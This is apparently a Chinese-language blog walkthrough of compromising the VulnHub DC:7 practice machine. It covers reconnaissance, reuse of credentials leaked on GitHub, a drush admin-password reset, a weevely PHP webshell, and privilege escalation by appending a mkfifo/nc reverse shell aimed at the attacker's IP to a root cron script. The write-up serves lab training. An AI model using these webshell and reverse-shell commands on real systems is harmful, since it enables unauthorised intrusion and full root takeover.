1. 程式人生 > 其它 >vulnhub-DC:7靶機滲透記錄

vulnhub-DC:7靶機滲透記錄

vulnhub-DC:7靶機滲透記錄,drupal框架,利用搜索引擎資訊收集,drush命令,weevely使用,利用root許可權執行檔案提權

準備工作

在vulnhub官網下載DC:7靶機DC: 7 ~ VulnHub

匯入到vmware,設定成NAT模式

開啟kali準備進行滲透(ip:192.168.200.6)

資訊收集

已經知道了靶機的ip192.168.200.19 利用nmap進行埠探測

nmap -sV -p- 192.168.200.19 

開放了80埠和22埠,開啟80埠

可以看到CMS是Drupal8,左上角還有個登陸頁面

但在嘗試dirsearch掃目錄,爆密碼,搜漏洞都沒有利用的點。

後面發現下面有一個@DC7USER,去搜一下還真有發現,DC7的作者上傳了原始碼到github

下載來看看,在config.php找到了資料庫的賬號密碼dc7user——MdR3xOgB7#dW

嘗試用這個密碼登陸了一下頁面,失敗

那用這個密碼登陸一下ssh,成功

ssh [email protected]

Drush

有一封郵件

看內容是通過這個指令碼/opt/scripts/backups.sh將資料庫自動備份到/home/dc7user/backups/website.sql,這個指令碼還是root許可權

看看這個指令碼的內容

在backups.sh檔案中主要發現了兩個命令drush,gpg。

Drush是Drupal的命令列shell和Unix指令碼介面。Drush Core附帶了許多有用的命令,可用於與模組/主題/配置檔案等程式碼進行互動。gpg是加密的命令

查了一下drush命令可以修改密碼,但是使用drush命令的時候要先切換到網站原始碼所在的目錄,不然會報錯

進入網站目錄/var/www/html。用drush命令將admin的密碼改成admin

drush user-password admin --password="admin"  

登陸網站看看.

weevely

進入後臺發現這裡可以編輯頁面,那就可以寫一句話木馬,但是查到drupal8不支援php程式碼,查詢資料發現需要匯入一個模組

模組地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  輸入直接安裝

選第二個選項,拉到下面將PHPFiter勾選,再拉到底部安裝

然後回到剛剛編輯首頁,可以看到有php的選項了,插入一句話程式碼

輸入phpinfo();看看能不能執行

成功,接下來使用weevely生成木馬進行連線

weevely generate test test.php 

然後將程式碼複製到編輯的地方儲存

再使用weevely連線

weevely http://192.168.200.19/ test

連線成功 獲得www-data許可權

  

利用backups.sh提權

www-data對之前看到的backups.sh有修改許可權

可以在這個指令碼新增反彈shell的命令進行提權

很多伺服器都將-e功能刪除了,只能這樣。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 埠 >/tmp/f

rm /tmp/f 刪除該檔案(以免跟後面定義的 管道符 衝突)

mkfifo /tmp/f 這是建立自定義有名管道符。管道符的名稱是 /tmp/f (用於程序間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個程序之間的通訊)

cat /tmp/f 取出管道符中的內容,

|/bin/sh -i 2>&1 將前面取出的內容作為輸入,輸入給 /bin/sh,再將bash的標準錯誤輸出 也作為標準輸入 (2 >&1)給bash

然後再將bash的輸出,傳給nc 遠端,再將nc 傳來的資料,寫入 管道符 /tmp/f 。最後首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh

然後開啟kali終端 nc -lvf 9999 進行監聽,可能要等挺長時間,因為這個指令碼是隔一段時間執行一次

(這裡我等了很久發現還沒有反應,查看了一下sh檔案根本沒寫進去,然後想cd出去發現還沒有許可權,還以為是我用weevely的方法有問題,網上其他人都是直接反彈shell的,後面發現是寫入的路徑有問題,應該使用絕對路徑/opt/scripts/backups.sh。如果發現很久沒反應一定要檢查是不是哪裡出問題了)

等了一段時間後反彈成功,拿到flag

參考文章

DC-7 靶機滲透測試 - Bitores - 部落格園 (cnblogs.com)  

DC:7靶機-Walkthrough_ins1ght的部落格-CSDN部落格